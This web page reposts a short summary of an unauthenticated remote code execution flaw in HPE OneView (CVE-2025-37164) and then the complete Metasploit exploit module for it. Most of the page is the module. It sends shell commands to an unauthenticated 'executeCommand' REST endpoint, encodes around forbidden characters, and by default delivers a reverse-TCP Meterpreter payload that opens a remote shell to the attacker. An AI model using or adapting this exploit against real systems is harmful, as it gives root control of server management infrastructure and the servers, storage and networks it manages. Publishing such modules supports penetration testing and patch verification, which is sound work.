HPE OneView Unauthenticated Remote Code Execution
HPE OneView Unauthenticated Remote Code Execution
HPE OneView was affected by a critical Unauthenticated Remote Code HPE OneView was affected by a critical Unauthenticated Remote Code Execution (RCE) vulnerability. This flaw allowed an attacker, without any authentication, to execute arbitrary code with root privileges on the OneView appliance.

The vulnerability typically stemmed from specific API endpoints exposed without proper authentication checks. Successful exploitation granted full control over the OneView management infrastructure.

This enabled attackers to potentially access, modify, or disrupt managed servers, storage, and networking devices. It posed a severe risk for data exfiltration, service disruption, and further network penetration.

HPE promptly released patches to address this critical security issue. Customers were strongly urged to update their OneView appliances immediately to mitigate this high-severity threat, often rated with a CVSS score of 9.8 (Critical).

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HPE OneView unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated RCE vulnerability, CVE-2025-37164, against Hewlett Packard Enterprise
(HPE) OneView. All versions below 11.00 are vulnerable (so long as the vendor supplied hotfix has not been
applied), however some VM product versions do not enable the vulnerable "ID Pools" endpoint, and are not
exploitable.
},
'License' => MSF_LICENSE,
'Author' => [
# Original finder
'Nguyen Quoc Khanh',
# Analysis and exploit
'remmons-r7',
'sfewer-r7'
],
'References' => [
['CVE', '2025-37164'],
# Vendor advisory
['URL', 'https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04985en_us&docLocale=en_US'],
# Rapid7 ETR blog
['URL', 'https://www.rapid7.com/blog/post/etr-cve-2025-37164-critical-unauthenticated-rce-affecting-hewlett-packard-enterprise-oneview/'],
# Rapid7 Analysis
['URL', 'https://attackerkb.com/topics/ixWdbDvjwX/cve-2025-37164/rapid7-analysis']
],
'DisclosureDate' => '2025-12-16',
'Privileged' => false, # Executes as trm3.
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
# Successfully tested with the following payloads against OneView 6.60.07:
# cmd/unix/reverse_ncat_ssl
# cmd/linux/http/x64/meterpreter_reverse_tcp
'Default', {
'Payload' => {
'BadChars' => '"\' ',
'Encoder' => 'cmd/ifs'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])])
end

def check
# We can pull out the current REST API version number and correlate it back to a major.minor product number
# based on known values. This is informational only, the check routine will leverage the vulnerability to
# identify if the target si actually vulnerable. This is due to the vulnerability not being present on
# some VM versions due to the ID Pool endpoints being disabled.
res_ver = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest', 'appliance', 'version')
)

return CheckCode::Unknown('Connection to /rest/appliance/version failed') unless res_ver

return CheckCode::Unknown("Unexpected /rest/appliance/version response code #{res_ver.code}") unless res_ver.code == 200

json_ver = JSON.parse(res_ver.body)

version_string = 'Detected '
version_string += json_ver['modelNumber'] || 'HPE OneView'
version_string += ' version '
version_string += json_ver['softwareVersion'] || 'unknown'

# We leverage the command execution vulnerability to execute a benign command. We test that this command executed
# successfully below. Note, we aren't checking the stdout, so we cannot do a proof-of-execution check like
# "echo $((1+2))" and then test for the result of "3".
cmd = "echo #{SecureRandom.uuid}"

res = execute_cmd(cmd, shell: false)

return CheckCode::Unknown("#{version_string}. Connection failed") unless res

# The vendor hotfix adds an HTTP rewrite rule to force the target endpoint as 404.
# Some Virtual Machine based product versions don't support ID Pools, so report 404 for the missing endpoint.
return CheckCode::Safe("#{version_string}. Target endpoint returned response code #{res.code}") if res.code == 404

return CheckCode::Unknown("#{version_string}. Unexpected response code #{res.code}") unless res.code == 200

j = JSON.parse(res.body)

return Exploit::CheckCode::Vulnerable(version_string) if (j['type'] == 'ExecutableCommand') && (j['cmd'] == cmd) && (j['result'] == true)

CheckCode::Unknown("#{version_string}. Unexpected JSON results")
rescue JSON::ParserError
return CheckCode::Unknown('Failed to parse JSON body')
end

def exploit
res = execute_cmd(payload.encoded, shell: true)

fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed') unless res

fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

j = JSON.parse(res.body)

fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Response is not of type ExecutableCommand') if j['type'] != 'ExecutableCommand'

# If Runtime.getRuntime().exec succeeds, the "result" will be true. If an IOException was thrown, this is caught and
# the "result" will be false. So we can use this to see if our payload command executed successfully or not.
# We dont fail_with() but rather print_warning() in case the payload executed before the failure
# occurred (i.e. during cleanup).
if j['result'] == false
print_warning('Command execution returned a result of false, likely due to an unexpected IOException server-side')
end
rescue JSON::ParserError
fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to parse JSON body')
end

def execute_cmd(cmd, shell:)
send_request_cgi(
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'rest', 'id-pools', 'executeCommand'),
'ctype' => 'application/json',
'data' => {
# As this is in JSON, we cannot have " or ' characters. We mark these as BadChars so Metasploit will use an
# encoder to avoid them. To shell out to /bin/sh -c we need to wrap the arguments in quotes. As we cannot do
# this, we also mark a white space as a BadChar, and use the IFS encoder to encode them. This lets us use
# arbitrary Metasploit command payloads successfully via an unquoted /bin/sh -c PAYLOAD
'cmd' => shell ? "sh -c #{cmd}" : cmd,
'result' => false
}.to_json
)
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.